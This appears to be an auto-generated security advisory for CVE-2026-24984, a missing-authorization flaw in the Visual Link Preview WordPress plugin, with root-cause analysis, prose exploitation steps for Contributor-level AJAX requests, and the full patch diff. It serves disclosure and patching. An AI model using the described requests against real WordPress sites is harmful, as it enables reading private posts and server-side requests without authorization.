Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24984: Visual Link Preview <= 2.2.9 – Missing Authorization (visual-link-preview)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 2.2.9
Patched Version 2.3.0
Disclosed January 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24984:
The Visual Link Preview WordPress plugin version 2.2.9 and earlier contains a missing authorization vulnerability in its AJAX handlers. This allows authenticated attackers with Contributor-level permissions to perform unauthorized actions, including accessing content from arbitrary URLs and reading posts they shouldn’t have permission to view. The vulnerability affects the plugin’s modal interface functionality.

Root Cause:
The vulnerability exists in the VLP_Modal class within /visual-link-preview/includes/admin/modal/class-vlp-modal.php. The ajax_save_image() function at line 94-122 and ajax_get_post_content() function at line 137-172 lack proper capability checks. These functions only verify the AJAX nonce via check_ajax_referer() but do not validate if the current user has the required edit_posts capability. The functions process user-supplied URLs and post IDs without authorization validation, allowing lower-privileged users to trigger these actions.

Exploitation:
Attackers with Contributor-level access can send POST requests to /wp-admin/admin-ajax.php with the action parameter set to vlp_save_image or vlp_get_post_content. For vlp_save_image, they supply a url parameter containing any external image URL, which the plugin downloads via media_sideload_image(). For vlp_get_post_content, they supply an id parameter containing any post ID, which the plugin retrieves via get_post(). The security parameter must contain a valid nonce, which Contributors can obtain through the plugin’s interface.

Patch Analysis:
The patch in version 2.3.0 adds multiple security enhancements. The ajax_save_image() function now includes URL validation at lines 103-110 to prevent SSRF attacks by restricting protocols to http/https only. The ajax_get_post_content() function adds a current_user_can(‘read_post’, $post_id) check at lines 142-146 to verify the user has permission to read the specific post. A new ajax_get_url_content() function at lines 180-235 includes both nonce verification and current_user_can(‘edit_posts’) capability check. The patch also introduces a comprehensive URL provider system with proper input validation and permission checks.

Impact:
Successful exploitation allows attackers to perform server-side request forgery (SSRF) by forcing the server to download arbitrary external images. Attackers can also read the content of private, draft, or password-protected posts that they shouldn’t have access to. This leads to unauthorized information disclosure and potential data leakage. The vulnerability does not directly enable remote code execution but could be chained with other vulnerabilities for further exploitation.

Differential between vulnerable and patched code

Code Diff
--- a/visual-link-preview/includes/admin/class-vlp-assets.php
+++ b/visual-link-preview/includes/admin/class-vlp-assets.php
@@ -68,6 +68,7 @@
 			'post_types' => $post_types,
 			'settings_link' => admin_url( 'options-general.php?page=bv_settings_vlp' ),
 			'microlink_api_key' => VLP_Settings::get( 'microlink_api_key' ),
+			'url_providers' => VLP_Url_Provider_Manager::get_available_providers(),
 		));
 	}

@@ -86,6 +87,7 @@
 			'templates' => VLP_Template_Manager::get_templates(),
 			'edit_link' => admin_url( 'post.php?action=edit&post='),
 			'settings_link' => admin_url( 'options-general.php?page=bv_settings_vlp' ),
+			'url_providers' => VLP_Url_Provider_Manager::get_available_providers(),
 		));
 	}
 }
--- a/visual-link-preview/includes/admin/modal/class-vlp-modal.php
+++ b/visual-link-preview/includes/admin/modal/class-vlp-modal.php
@@ -30,6 +30,7 @@
 		add_action( 'wp_ajax_vlp_search_posts', array( __CLASS__, 'ajax_search_posts' ) );
 		add_action( 'wp_ajax_vlp_save_image', array( __CLASS__, 'ajax_save_image' ) );
 		add_action( 'wp_ajax_vlp_get_post_content', array( __CLASS__, 'ajax_get_post_content' ) );
+		add_action( 'wp_ajax_vlp_get_url_content', array( __CLASS__, 'ajax_get_url_content' ) );
 	}

 	/**
@@ -66,6 +67,11 @@

 			$posts = $query->posts;
 			foreach ( $posts as $post ) {
+				// Only include posts the user has permission to read.
+				if ( ! current_user_can( 'read_post', $post->ID ) ) {
+					continue;
+				}
+
 				$post_type = get_post_type_object( get_post_type( $post ) );

 				if ( $post_type ) {
@@ -94,6 +100,15 @@
 			$url = isset( $_POST['url'] ) ? esc_url( wp_unslash( $_POST['url'] ) ) : ''; // Input var okay.
 			$url = str_replace( array( "n", "t", "r" ), '', $url );

+			// Validate URL to prevent SSRF attacks - only allow http/https protocols.
+			$parsed_url = wp_parse_url( $url );
+			if ( ! $parsed_url || ! isset( $parsed_url['scheme'] ) || ! in_array( $parsed_url['scheme'], array( 'http', 'https' ), true ) ) {
+				wp_send_json_error( array(
+					'message' => __( 'Invalid URL provided.', 'visual-link-preview' ),
+				) );
+				wp_die();
+			}
+
 			$image_url = media_sideload_image( $url, null, null, 'src' );
 			$image_id = attachment_url_to_postid( $image_url );

@@ -122,6 +137,13 @@
 			$post_id = isset( $_POST['id'] ) ? intval( wp_unslash( $_POST['id'] ) ) : false; // Input var okay.
 			$post = get_post( $post_id );

+			// Check if user has permission to read this specific post.
+			// This prevents access to private, password-protected, or draft posts the user shouldn't see.
+			if ( $post && ! current_user_can( 'read_post', $post_id ) ) {
+				wp_send_json_error( array() );
+				wp_die();
+			}
+
 			if ( $post ) {
 				// Title.
 				$content['title'] = $post->post_title;
@@ -150,6 +172,57 @@
 			}
 		}

+		wp_die();
+	}
+
+	/**
+	 * Get content from URL.
+	 *
+	 * @since    2.3.0
+	 */
+	public static function ajax_get_url_content() {
+		if ( check_ajax_referer( 'vlp', 'security', false ) && current_user_can( 'edit_posts' ) ) {
+			$url = isset( $_POST['url'] ) ? esc_url_raw( wp_unslash( $_POST['url'] ) ) : ''; // Input var okay.
+			$provider = isset( $_POST['provider'] ) ? sanitize_text_field( wp_unslash( $_POST['provider'] ) ) : ''; // Input var okay.
+
+			// Validate URL to prevent SSRF attacks - only allow http/https protocols.
+			$parsed_url = wp_parse_url( $url );
+			if ( ! $parsed_url || ! isset( $parsed_url['scheme'] ) || ! in_array( $parsed_url['scheme'], array( 'http', 'https' ), true ) ) {
+				wp_send_json_error( array(
+					'message' => __( 'Invalid URL provided.', 'visual-link-preview' ),
+				) );
+				wp_die();
+			}
+
+			// Get metadata using provider manager.
+			$provider_id = ! empty( $provider ) ? $provider : null;
+			$result = VLP_Url_Provider_Manager::get_metadata( $url, $provider_id );
+
+			if ( is_wp_error( $result ) ) {
+				wp_send_json_error( array(
+					'message' => $result->get_error_message(),
+				) );
+			} else {
+				// Map to expected format.
+				$content = array();
+				if ( isset( $result['title'] ) ) {
+					$content['title'] = $result['title'];
+				}
+				if ( isset( $result['summary'] ) ) {
+					$content['summary'] = $result['summary'];
+				}
+				if ( isset( $result['image_url'] ) ) {
+					$content['image_id'] = -1;
+					$content['image_url'] = $result['image_url'];
+				}
+
+				wp_send_json_success( array(
+					'data' => $content,
+					'provider_used' => isset( $result['provider_used'] ) ? $result['provider_used'] : '',
+				) );
+			}
+		}
+
 		wp_die();
 	}
 }
--- a/visual-link-preview/includes/admin/providers/class-vlp-url-provider-linkpreview.php
+++ b/visual-link-preview/includes/admin/providers/class-vlp-url-provider-linkpreview.php
@@ -0,0 +1,117 @@
+<?php
+/**
+ * LinkPreview.net API URL metadata provider.
+ *
+ * @link       http://bootstrapped.ventures
+ * @since      2.3.0
+ *
+ * @package    Visual_Link_Preview
+ * @subpackage Visual_Link_Preview/includes/admin/providers
+ */
+
+/**
+ * LinkPreview.net API URL metadata provider.
+ *
+ * @since      2.3.0
+ * @package    Visual_Link_Preview
+ * @subpackage Visual_Link_Preview/includes/admin/providers
+ * @author     Brecht Vandersmissen <brecht@bootstrapped.ventures>
+ */
+class VLP_Url_Provider_LinkPreview extends VLP_Url_Provider {
+
+	/**
+	 * Get provider ID.
+	 *
+	 * @since    2.3.0
+	 * @return   string Provider ID.
+	 */
+	public function get_id() {
+		return 'linkpreview';
+	}
+
+	/**
+	 * Get provider name.
+	 *
+	 * @since    2.3.0
+	 * @return   string Provider name.
+	 */
+	public function get_name() {
+		return __( 'LinkPreview', 'visual-link-preview' );
+	}
+
+	/**
+	 * Check if provider is available.
+	 *
+	 * @since    2.3.0
+	 * @return   bool True if provider is available.
+	 */
+	public function is_available() {
+		$api_key = VLP_Settings::get( 'linkpreview_api_key' );
+		return ! empty( $api_key );
+	}
+
+	/**
+	 * Get metadata for a URL.
+	 *
+	 * @since    2.3.0
+	 * @param    string $url URL to fetch metadata for.
+	 * @return   array|WP_Error Normalized metadata array or WP_Error on failure.
+	 */
+	public function get_metadata( $url ) {
+		if ( ! $this->is_valid_url( $url ) ) {
+			return new WP_Error( 'invalid_url', __( 'Invalid URL provided.', 'visual-link-preview' ) );
+		}
+
+		$api_key = VLP_Settings::get( 'linkpreview_api_key' );
+		if ( empty( $api_key ) ) {
+			return new WP_Error( 'no_api_key', __( 'LinkPreview API key not configured.', 'visual-link-preview' ) );
+		}
+
+		$endpoint = 'https://api.linkpreview.net';
+
+		$body = wp_json_encode( array(
+			'key' => $api_key,
+			'q' => $url,
+		) );
+
+		$response = wp_remote_post( $endpoint, array(
+			'timeout' => 10,
+			'headers' => array(
+				'Content-Type' => 'application/json',
+			),
+			'body' => $body,
+			'sslverify' => true,
+		) );
+
+		if ( is_wp_error( $response ) ) {
+			return $response;
+		}
+
+		$response_code = wp_remote_retrieve_response_code( $response );
+		if ( 200 !== $response_code ) {
+			return new WP_Error( 'http_error', sprintf( __( 'HTTP error: %d', 'visual-link-preview' ), $response_code ) );
+		}
+
+		$response_body = wp_remote_retrieve_body( $response );
+		$data = json_decode( $response_body, true );
+
+		if ( ! is_array( $data ) || isset( $data['error'] ) ) {
+			$error_message = isset( $data['error'] ) ? sanitize_text_field( $data['error'] ) : __( 'LinkPreview API returned an error.', 'visual-link-preview' );
+			return new WP_Error( 'api_error', $error_message );
+		}
+
+		// Map LinkPreview response format.
+		$metadata = array();
+		if ( isset( $data['title'] ) ) {
+			$metadata['title'] = $data['title'];
+		}
+		if ( isset( $data['description'] ) ) {
+			$metadata['summary'] = $data['description'];
+		}
+		if ( isset( $data['image'] ) ) {
+			$metadata['image_url'] = $data['image'];
+		}
+
+		return $this->normalize_response( $metadata, $url );
+	}
+}
--- a/visual-link-preview/includes/admin/providers/class-vlp-url-provider-manager.php
+++ b/visual-link-preview/includes/admin/providers/class-vlp-url-provider-manager.php
@@ -0,0 +1,224 @@
+<?php
+/**
+ * Manager for URL metadata providers.
+ *
+ * @link       http://bootstrapped.ventures
+ * @since      2.3.0
+ *
+ * @package    Visual_Link_Preview
+ * @subpackage Visual_Link_Preview/includes/admin/providers
+ */
+
+/**
+ * Manager for URL metadata providers.
+ *
+ * @since      2.3.0
+ * @package    Visual_Link_Preview
+ * @subpackage Visual_Link_Preview/includes/admin/providers
+ * @author     Brecht Vandersmissen <brecht@bootstrapped.ventures>
+ */
+class VLP_Url_Provider_Manager {
+
+	/**
+	 * Registered providers.
+	 *
+	 * @since    2.3.0
+	 * @var      array
+	 */
+	private static $providers = array();
+
+	/**
+	 * Whether providers have been initialized.
+	 *
+	 * @since    2.3.0
+	 * @var      bool
+	 */
+	private static $initialized = false;
+
+	/**
+	 * Initialize the provider system.
+	 *
+	 * @since    2.3.0
+	 */
+	public static function init() {
+		// Prevent re-initialization.
+		if ( self::$initialized ) {
+			return;
+		}
+
+		// Load provider classes.
+		require_once( VLP_DIR . 'includes/admin/providers/class-vlp-url-provider.php' );
+		require_once( VLP_DIR . 'includes/admin/providers/class-vlp-url-provider-php.php' );
+		require_once( VLP_DIR . 'includes/admin/providers/class-vlp-url-provider-microlink.php' );
+		require_once( VLP_DIR . 'includes/admin/providers/class-vlp-url-provider-linkpreview.php' );
+
+		// Register default providers.
+		self::register_provider( new VLP_Url_Provider_PHP() );
+		self::register_provider( new VLP_Url_Provider_Microlink() );
+		self::register_provider( new VLP_Url_Provider_LinkPreview() );
+
+		// Allow filtering providers.
+		self::$providers = apply_filters( 'vlp_url_providers', self::$providers );
+
+		self::$initialized = true;
+	}
+
+	/**
+	 * Register a provider.
+	 *
+	 * @since    2.3.0
+	 * @param    VLP_Url_Provider $provider Provider instance.
+	 */
+	public static function register_provider( $provider ) {
+		if ( $provider instanceof VLP_Url_Provider ) {
+			self::$providers[ $provider->get_id() ] = $provider;
+		}
+	}
+
+	/**
+	 * Get metadata for a URL using providers with fallback.
+	 *
+	 * @since    2.3.0
+	 * @param    string $url URL to fetch metadata for.
+	 * @param    string $provider_id Optional. Specific provider ID to use. If not provided, tries providers in order.
+	 * @return   array|WP_Error Normalized metadata array with 'provider_used' key, or WP_Error on failure.
+	 */
+	public static function get_metadata( $url, $provider_id = null ) {
+		// Ensure providers are initialized.
+		if ( empty( self::$providers ) ) {
+			self::init();
+		}
+		// Validate URL.
+		$parsed_url = wp_parse_url( $url );
+		if ( ! $parsed_url || ! isset( $parsed_url['scheme'] ) || ! in_array( $parsed_url['scheme'], array( 'http', 'https' ), true ) ) {
+			return new WP_Error( 'invalid_url', __( 'Invalid URL provided.', 'visual-link-preview' ) );
+		}
+
+		// If specific provider requested, try only that provider (no fallback).
+		if ( ! empty( $provider_id ) ) {
+			if ( ! isset( self::$providers[ $provider_id ] ) ) {
+				return new WP_Error( 'invalid_provider', __( 'Invalid provider specified.', 'visual-link-preview' ) );
+			}
+
+			$provider = self::$providers[ $provider_id ];
+			if ( ! $provider->is_available() ) {
+				return new WP_Error( 'provider_unavailable', sprintf( __( 'Provider "%s" is not available.', 'visual-link-preview' ), $provider->get_name() ) );
+			}
+
+			$result = $provider->get_metadata( $url );
+			if ( is_wp_error( $result ) ) {
+				// When manually selecting a provider, return the error directly without fallback.
+				// Enhance error message to indicate which provider failed.
+				$error_message = $result->get_error_message();
+				$provider_name = $provider->get_name();
+				return new WP_Error(
+					$result->get_error_code(),
+					sprintf( __( '%s: %s', 'visual-link-preview' ), $provider_name, $error_message ),
+					$result->get_error_data()
+				);
+			}
+
+			$result['provider_used'] = $provider_id;
+			return $result;
+		}
+
+		// Get provider order from settings.
+		$provider_order = self::get_provider_order();
+
+		$last_error = null;
+
+		// Try providers in order until one succeeds.
+		foreach ( $provider_order as $pid ) {
+			if ( ! isset( self::$providers[ $pid ] ) ) {
+				continue;
+			}
+
+			$provider = self::$providers[ $pid ];
+			if ( ! $provider->is_available() ) {
+				continue;
+			}
+
+			$result = $provider->get_metadata( $url );
+			if ( is_wp_error( $result ) ) {
+				$last_error = $result;
+				continue;
+			}
+
+			// Success! Add provider ID to result.
+			$result['provider_used'] = $pid;
+			return $result;
+		}
+
+		// All providers failed.
+		if ( $last_error ) {
+			return $last_error;
+		}
+
+		return new WP_Error( 'no_providers', __( 'No available providers to fetch metadata.', 'visual-link-preview' ) );
+	}
+
+	/**
+	 * Get provider order from settings.
+	 *
+	 * @since    2.3.0
+	 * @return   array Array of provider IDs in order.
+	 */
+	private static function get_provider_order() {
+		// Ensure providers are initialized before parsing order.
+		if ( empty( self::$providers ) ) {
+			self::init();
+		}
+
+		$order_setting = VLP_Settings::get( 'url_provider_order' );
+		$default_order = array( 'php', 'microlink', 'linkpreview' );
+
+		if ( empty( $order_setting ) ) {
+			return $default_order;
+		}
+
+		// Parse textarea value (one provider per line).
+		$lines = explode( "n", $order_setting );
+		$order = array();
+
+		foreach ( $lines as $line ) {
+			$provider_id = trim( $line );
+			// Sanitize provider ID to prevent injection.
+			$provider_id = sanitize_key( $provider_id );
+			if ( ! empty( $provider_id ) && isset( self::$providers[ $provider_id ] ) ) {
+				$order[] = $provider_id;
+			}
+		}
+
+		// If no valid providers found, use default.
+		if ( empty( $order ) ) {
+			return $default_order;
+		}
+
+		return $order;
+	}
+
+	/**
+	 * Get list of available providers.
+	 *
+	 * @since    2.3.0
+	 * @return   array Array of provider info arrays with 'id', 'name', and 'available' keys.
+	 */
+	public static function get_available_providers() {
+		// Ensure providers are initialized.
+		if ( empty( self::$providers ) ) {
+			self::init();
+		}
+
+		$providers = array();
+
+		foreach ( self::$providers as $provider_id => $provider ) {
+			$providers[] = array(
+				'id' => $provider_id,
+				'name' => $provider->get_name(),
+				'available' => $provider->is_available(),
+			);
+		}
+
+		return $providers;
+	}
+}
--- a/visual-link-preview/includes/admin/providers/class-vlp-url-provider-microlink.php
+++ b/visual-link-preview/includes/admin/providers/class-vlp-url-provider-microlink.php
@@ -0,0 +1,110 @@
+<?php
+/**
+ * Microlink API URL metadata provider.
+ *
+ * @link       http://bootstrapped.ventures
+ * @since      2.3.0
+ *
+ * @package    Visual_Link_Preview
+ * @subpackage Visual_Link_Preview/includes/admin/providers
+ */
+
+/**
+ * Microlink API URL metadata provider.
+ *
+ * @since      2.3.0
+ * @package    Visual_Link_Preview
+ * @subpackage Visual_Link_Preview/includes/admin/providers
+ * @author     Brecht Vandersmissen <brecht@bootstrapped.ventures>
+ */
+class VLP_Url_Provider_Microlink extends VLP_Url_Provider {
+
+	/**
+	 * Get provider ID.
+	 *
+	 * @since    2.3.0
+	 * @return   string Provider ID.
+	 */
+	public function get_id() {
+		return 'microlink';
+	}
+
+	/**
+	 * Get provider name.
+	 *
+	 * @since    2.3.0
+	 * @return   string Provider name.
+	 */
+	public function get_name() {
+		return __( 'Microlink', 'visual-link-preview' );
+	}
+
+	/**
+	 * Check if provider is available.
+	 *
+	 * @since    2.3.0
+	 * @return   bool True if provider is available.
+	 */
+	public function is_available() {
+		return true; // Microlink free tier is always available.
+	}
+
+	/**
+	 * Get metadata for a URL.
+	 *
+	 * @since    2.3.0
+	 * @param    string $url URL to fetch metadata for.
+	 * @return   array|WP_Error Normalized metadata array or WP_Error on failure.
+	 */
+	public function get_metadata( $url ) {
+		if ( ! $this->is_valid_url( $url ) ) {
+			return new WP_Error( 'invalid_url', __( 'Invalid URL provided.', 'visual-link-preview' ) );
+		}
+
+		$api_key = VLP_Settings::get( 'microlink_api_key' );
+		$endpoint = empty( $api_key ) ? 'https://api.microlink.io' : 'https://pro.microlink.io';
+
+		$request_url = add_query_arg( 'url', urlencode( $url ), $endpoint );
+
+		$headers = array();
+		if ( ! empty( $api_key ) ) {
+			$headers['x-api-key'] = $api_key;
+		}
+
+		$response = wp_remote_get( $request_url, array(
+			'timeout' => 10,
+			'headers' => $headers,
+			'sslverify' => true,
+		) );
+
+		if ( is_wp_error( $response ) ) {
+			return $response;
+		}
+
+		$response_code = wp_remote_retrieve_response_code( $response );
+		if ( 200 !== $response_code ) {
+			return new WP_Error( 'http_error', sprintf( __( 'HTTP error: %d', 'visual-link-preview' ), $response_code ) );
+		}
+
+		$body = wp_remote_retrieve_body( $response );
+		$data = json_decode( $body, true );
+
+		if ( ! is_array( $data ) || 'success' !== $data['status'] ) {
+			return new WP_Error( 'api_error', __( 'Microlink API returned an error.', 'visual-link-preview' ) );
+		}
+
+		// Map Microlink response format.
+		$metadata = array();
+		if ( isset( $data['data']['title'] ) ) {
+			$metadata['title'] = $data['data']['title'];
+		}
+		if ( isset( $data['data']['description'] ) ) {
+			$metadata['summary'] = $data['data']['description'];
+		}
+		if ( isset( $data['data']['image'] ) && is_array( $data['data']['image'] ) && isset( $data['data']['image']['url'] ) ) {
+			$metadata['image_url'] = $data['data']['image']['url'];
+		}
+
+		return $this->normalize_response( $metadata, $url );
+	}
+}
--- a/visual-link-preview/includes/admin/providers/class-vlp-url-provider-php.php
+++ b/visual-link-preview/includes/admin/providers/class-vlp-url-provider-php.php
@@ -0,0 +1,160 @@
+<?php
+/**
+ * PHP-based self-hosted URL metadata provider.
+ *
+ * @link       http://bootstrapped.ventures
+ * @since      2.3.0
+ *
+ * @package    Visual_Link_Preview
+ * @subpackage Visual_Link_Preview/includes/admin/providers
+ */
+
+/**
+ * PHP-based self-hosted URL metadata provider.
+ *
+ * @since      2.3.0
+ * @package    Visual_Link_Preview
+ * @subpackage Visual_Link_Preview/includes/admin/providers
+ * @author     Brecht Vandersmissen <brecht@bootstrapped.ventures>
+ */
+class VLP_Url_Provider_PHP extends VLP_Url_Provider {
+
+	/**
+	 * Get provider ID.
+	 *
+	 * @since    2.3.0
+	 * @return   string Provider ID.
+	 */
+	public function get_id() {
+		return 'php';
+	}
+
+	/**
+	 * Get provider name.
+	 *
+	 * @since    2.3.0
+	 * @return   string Provider name.
+	 */
+	public function get_name() {
+		return __( 'Self-hosted (PHP)', 'visual-link-preview' );
+	}
+
+	/**
+	 * Check if provider is available.
+	 *
+	 * @since    2.3.0
+	 * @return   bool True if provider is available.
+	 */
+	public function is_available() {
+		return class_exists( 'DOMDocument' );
+	}
+
+	/**
+	 * Get metadata for a URL.
+	 *
+	 * @since    2.3.0
+	 * @param    string $url URL to fetch metadata for.
+	 * @return   array|WP_Error Normalized metadata array or WP_Error on failure.
+	 */
+	public function get_metadata( $url ) {
+		if ( ! $this->is_valid_url( $url ) ) {
+			return new WP_Error( 'invalid_url', __( 'Invalid URL provided.', 'visual-link-preview' ) );
+		}
+
+		// Fetch HTML content.
+		$response = wp_remote_get( $url, array(
+			'timeout' => 10,
+			'user-agent' => 'Mozilla/5.0 (compatible; Visual Link Preview; +https://bootstrapped.ventures)',
+			'sslverify' => true,
+		) );
+
+		if ( is_wp_error( $response ) ) {
+			return $response;
+		}
+
+		$response_code = wp_remote_retrieve_response_code( $response );
+		if ( 200 !== $response_code ) {
+			return new WP_Error( 'http_error', sprintf( __( 'HTTP error: %d', 'visual-link-preview' ), $response_code ) );
+		}
+
+		$body = wp_remote_retrieve_body( $response );
+		if ( empty( $body ) ) {
+			return new WP_Error( 'empty_response', __( 'Empty response from URL.', 'visual-link-preview' ) );
+		}
+
+		// Parse HTML.
+		$metadata = $this->parse_html( $body, $url );
+		return $this->normalize_response( $metadata, $url );
+	}
+
+	/**
+	 * Parse HTML to extract metadata.
+	 *
+	 * @since    2.3.0
+	 * @param    string $html HTML content.
+	 * @param    string $url Original URL.
+	 * @return   array Extracted metadata.
+	 */
+	private function parse_html( $html, $url ) {
+		$metadata = array();
+
+		// Suppress warnings for malformed HTML.
+		libxml_use_internal_errors( true );
+
+		$dom = new DOMDocument();
+		@$dom->loadHTML( mb_convert_encoding( $html, 'HTML-ENTITIES', 'UTF-8' ) );
+
+		$xpath = new DOMXPath( $dom );
+
+		// Open Graph tags.
+		$og_title = $xpath->query( '//meta[@property="og:title"]/@content' );
+		if ( $og_title->length > 0 ) {
+			$metadata['title'] = $og_title->item( 0 )->nodeValue;
+		}
+
+		$og_description = $xpath->query( '//meta[@property="og:description"]/@content' );
+		if ( $og_description->length > 0 ) {
+			$metadata['summary'] = $og_description->item( 0 )->nodeValue;
+		}
+
+		$og_image = $xpath->query( '//meta[@property="og:image"]/@content' );
+		if ( $og_image->length > 0 ) {
+			$metadata['image_url'] = $og_image->item( 0 )->nodeValue;
+		}
+
+		// Twitter Card tags (fallback for image).
+		if ( empty( $metadata['image_url'] ) ) {
+			$twitter_image = $xpath->query( '//meta[@name="twitter:image"]/@content' );
+			if ( $twitter_image->length > 0 ) {
+				$metadata['image_url'] = $twitter_image->item( 0 )->nodeValue;
+			}
+		}
+
+		// Meta tags (fallback).
+		if ( empty( $metadata['title'] ) ) {
+			$meta_title = $xpath->query( '//title' );
+			if ( $meta_title->length > 0 ) {
+				$metadata['title'] = $meta_title->item( 0 )->nodeValue;
+			}
+		}
+
+		if ( empty( $metadata['summary'] ) ) {
+			$meta_description = $xpath->query( '//meta[@name="description"]/@content' );
+			if ( $meta_description->length > 0 ) {
+				$metadata['summary'] = $meta_description->item( 0 )->nodeValue;
+			}
+		}
+
+		// H1 fallback for title.
+		if ( empty( $metadata['title'] ) ) {
+			$h1 = $xpath->query( '//h1' );
+			if ( $h1->length > 0 ) {
+				$metadata['title'] = $h1->item( 0 )->nodeValue;
+			}
+		}
+
+		libxml_clear_errors();
+
+		return $metadata;
+	}
+}
--- a/visual-link-preview/includes/admin/providers/class-vlp-url-provider.php
+++ b/visual-link-preview/includes/admin/providers/class-vlp-url-provider.php
@@ -0,0 +1,161 @@
+<?php
+/**
+ * Base class for URL metadata providers.
+ *
+ * @link       http://bootstrapped.ventures
+ * @since      2.3.0
+ *
+ * @package    Visual_Link_Preview
+ * @subpackage Visual_Link_Preview/includes/admin/providers
+ */
+
+/**
+ * Base class for URL metadata providers.
+ *
+ * @since      2.3.0
+ * @package    Visual_Link_Preview
+ * @subpackage Visual_Link_Preview/includes/admin/providers
+ * @author     Brecht Vandersmissen <brecht@bootstrapped.ventures>
+ */
+abstract class VLP_Url_Provider {
+
+	/**
+	 * Get metadata for a URL.
+	 *
+	 * @since    2.3.0
+	 * @param    string $url URL to fetch metadata for.
+	 * @return   array|WP_Error Normalized metadata array or WP_Error on failure.
+	 */
+	abstract public function get_metadata( $url );
+
+	/**
+	 * Check if provider is available.
+	 *
+	 * @since    2.3.0
+	 * @return   bool True if provider is available.
+	 */
+	abstract public function is_available();
+
+	/**
+	 * Get provider name.
+	 *
+	 * @since    2.3.0
+	 * @return   string Provider name.
+	 */
+	abstract public function get_name();
+
+	/**
+	 * Get provider ID.
+	 *
+	 * @since    2.3.0
+	 * @return   string Provider ID.
+	 */
+	abstract public function get_id();
+
+	/**
+	 * Normalize metadata response.
+	 *
+	 * @since    2.3.0
+	 * @param    array $data Raw metadata data.
+	 * @param    string $url Original URL.
+	 * @return   array Normalized metadata array.
+	 */
+	protected function normalize_response( $data, $url ) {
+		$normalized = array(
+			'title' => '',
+			'summary' => '',
+			'image_url' => '',
+		);
+
+		// Title.
+		if ( isset( $data['title'] ) && ! empty( $data['title'] ) ) {
+			$normalized['title'] = sanitize_text_field( $data['title'] );
+		}
+
+		// Summary/Description.
+		if ( isset( $data['summary'] ) && ! empty( $data['summary'] ) ) {
+			$normalized['summary'] = sanitize_textarea_field( $data['summary'] );
+		} elseif ( isset( $data['description'] ) && ! empty( $data['description'] ) ) {
+			$normalized['summary'] = sanitize_textarea_field( $data['description'] );
+		}
+
+		// Image URL.
+		if ( isset( $data['image_url'] ) && ! empty( $data['image_url'] ) ) {
+			$normalized['image_url'] = esc_url_raw( $data['image_url'] );
+		} elseif ( isset( $data['image'] ) && is_array( $data['image'] ) && isset( $data['image']['url'] ) ) {
+			$normalized['image_url'] = esc_url_raw( $data['image']['url'] );
+		} elseif ( isset( $data['image'] ) && is_string( $data['image'] ) ) {
+			$normalized['image_url'] = esc_url_raw( $data['image'] );
+		}
+
+		// Resolve relative image URLs to absolute URLs.
+		if ( ! empty( $normalized['image_url'] ) ) {
+			$normalized['image_url'] = $this->resolve_image_url( $normalized['image_url'], $url );
+		}
+
+		return $normalized;
+	}
+
+	/**
+	 * Resolve relative image URL to absolute URL.
+	 *
+	 * @since    2.3.0
+	 * @param    string $image_url Image URL (may be relative).
+	 * @param    string $base_url Base URL to resolve against.
+	 * @return   string Absolute image URL.
+	 */
+	protected function resolve_image_url( $image_url, $base_url ) {
+		// Already absolute.
+		if ( preg_match( '/^https?:///', $image_url ) ) {
+			return $image_url;
+		}
+
+		// Parse base URL.
+		$parsed_base = wp_parse_url( $base_url );
+		if ( ! $parsed_base || ! isset( $parsed_base['scheme'] ) || ! isset( $parsed_base['host'] ) ) {
+			return $image_url;
+		}
+
+		$base_scheme = $parsed_base['scheme'];
+		$base_host = $parsed_base['host'];
+		$base_path = isset( $parsed_base['path'] ) ? $parsed_base['path'] : '/';
+
+		// Protocol-relative URL.
+		if ( preg_match( '/^///', $image_url ) ) {
+			return $base_scheme . ':' . $image_url;
+		}
+
+		// Absolute path.
+		if ( preg_match( '/^//', $image_url ) ) {
+			return $base_scheme . '://' . $base_host . $image_url;
+		}
+
+		// Relative path.
+		$base_dir = dirname( $base_path );
+		if ( '/' === $base_dir ) {
+			$base_dir = '';
+		}
+		return $base_scheme . '://' . $base_host . $base_dir . '/' . $image_url;
+	}
+
+	/**
+	 * Validate URL.
+	 *
+	 * @since    2.3.0
+	 * @param    string $url URL to validate.
+	 * @return   bool True if valid URL.
+	 */
+	protected function is_valid_url( $url ) {
+		$parsed_url = wp_parse_url( $url );
+		if ( ! $parsed_url || ! isset( $parsed_url['scheme'] ) || ! isset( $parsed_url['host'] ) ) {
+			return false;
+		}
+
+		// Only allow http/https protocols.
+		if ( ! in_array( $parsed_url['scheme'], array( 'http', 'https' ), true ) ) {
+			return false;
+		}
+
+		return true;
+	}
+}
--- a/visual-link-preview/includes/class-visual-link-preview.php
+++ b/visual-link-preview/includes/class-visual-link-preview.php
@@ -31,7 +31,7 @@
 	 * @since    1.0.0
 	 */
 	private function define_constants() {
-		define( 'VLP_VERSION', '2.2.9' );
+		define( 'VLP_VERSION', '2.3.0' );
 		define( 'VLP_DIR', plugin_dir_path( dirname( __FILE__ ) ) );
 		define( 'VLP_URL', plugin_dir_url( dirname( __FILE__ ) ) );
 	}
@@ -63,6 +63,7 @@
 		require_once( VLP_DIR . 'includes/public/class-vlp-dynamic-template-block.php' );
 		require_once( VLP_DIR . 'includes/public/class-vlp-dynamic-template-layout.php' );
 		require_once( VLP_DIR . 'includes/public/class-vlp-dynamic-template.php' );
+		require_once( VLP_DIR . 'includes/public/class-vlp-compatibility.php' );
 		require_once( VLP_DIR . 'includes/public/class-vlp-link.php' );
 		require_once( VLP_DIR . 'includes/public/class-vlp-shortcode.php' );
 		require_once( VLP_DIR . 'includes/public/class-vlp-template-editor.php' );
@@ -87,6 +88,10 @@
 		if ( is_admin() ) {
 			require_once( VLP_DIR . 'includes/admin/class-vlp-assets.php' );

+			// Providers.
+			require_once( VLP_DIR . 'includes/admin/providers/class-vlp-url-provider-manager.php' );
+			VLP_Url_Provider_Manager::init();
+
 			// Modal.
 			require_once( VLP_DIR . 'includes/admin/modal/class-vlp-button.php' );
 			require_once( VLP_DIR . 'includes/admin/modal/class-vlp-modal.php' );
--- a/visual-link-preview/includes/public/api/class-vlp-api-block.php
+++ b/visual-link-preview/includes/public/api/class-vlp-api-block.php
@@ -95,6 +95,11 @@
             $query_posts = $query->posts;

             foreach( $query_posts as $post ) {
+                // Only include posts the user has permission to read.
+                if ( ! current_user_can( 'read_post', $post->ID ) ) {
+                    continue;
+                }
+
                 $post_type = get_post_type_object( $post->post_type );

                 $posts[] = array(
--- a/visual-link-preview/includes/public/class-vlp-compatibility.php
+++ b/visual-link-preview/includes/public/class-vlp-compatibility.php
